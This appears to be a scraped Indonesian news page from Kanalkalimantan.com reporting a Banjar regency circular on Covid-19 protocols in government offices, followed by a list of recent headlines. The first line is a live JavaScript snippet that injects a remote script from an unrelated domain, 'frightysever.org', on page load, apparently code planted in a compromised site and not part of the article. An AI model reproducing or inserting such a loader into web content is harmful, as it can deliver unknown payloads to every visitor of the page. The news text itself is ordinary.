(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Cegah Klaster Baru, Pemkab Banjar Terbitkan SE Protokol Covid-19 di Perkantoran. Ini Isinya!


KANALKALIMANTAN. COM, MARTAPURA – Rentannya perkantoran pemerintah menjadi klaster baru Covid-19 membuat Pemkab Banjar mengambil langkah segara. Menyusul sejumlah pejabat yang terpapar, Pemkab menguluarkan Surat Edaran (SE) No 065/679/ ORG tentang penegasan penerapan penyesuaian kerja bagi aparatur sipil negara (ASN) dalam adaptasi kebiasan baru yang ada di Kabupaten Banjar.

Tak hanya diedarkan di lingkungan pemkab, SE tersebut juga disebar hingga ke kecamatan dan kantor desa di Kabupaten Banjar.

Sekertaris BPBD Banjar Azhar Alamsyah mengatakan, surat edaran dari Bupati Khalilurrahman tersebut guna meningkatkan pengawasan dalam protokol kesehatan Covid-19. “Mengingat saat ini hampir di tiap perkantoran ada saja staf yang terpapar,” katanya.

Dalam SE tersebut, disampaikan bahwa setiap perkantoran yang ada di kabupaten banjar yang membuka layanan atau kerja diwajibkan harus menyediakan dan menambah fasilitas cuci tangan dan menyiapkan masker. Termasuk mengatur tempat duduk di ruang ruang tertentu sesuai dengan ketentuan.

“Selain peningkatan itu juga disertai larangan bagi perkantoran yang berada di kabupaten banjar untuk melakukan rapat atau pertemuan apapun secara tatap muka” paparnya.

SE tersebut juga meminta fasilitas perkantoran memiliki ventilasi udara yang baik mengingat penyebaran virus ovid-19 bisa melalui droplet (percikan air ludah) dan airborne (melalui udara).

Selain itu, setiap perkantoran juga diminta mengatur ulang kembali waktu kerja serta pembatasan staf di setiap harinya guna mencegah kerumunan.

“Selain itu untuk pencegahan Covid-19 juga mewajibkan untuk setiap perkantoran melakukan penyemprotan disinfektan secara berkala.

Sejauh ini, BPBD Banjar sudah mendapatkan permintaan dari setiap perkantoran untuk melakukan penyemprotan menyusul terbitnya SE tersebut,” pungkas Azhar. (Kanalkalimantan.com/putra)

 

Reporter: Putra
Editor: Cell


Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

11 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

13 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

14 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

18 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

19 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

21 jam ago

This website uses cookies.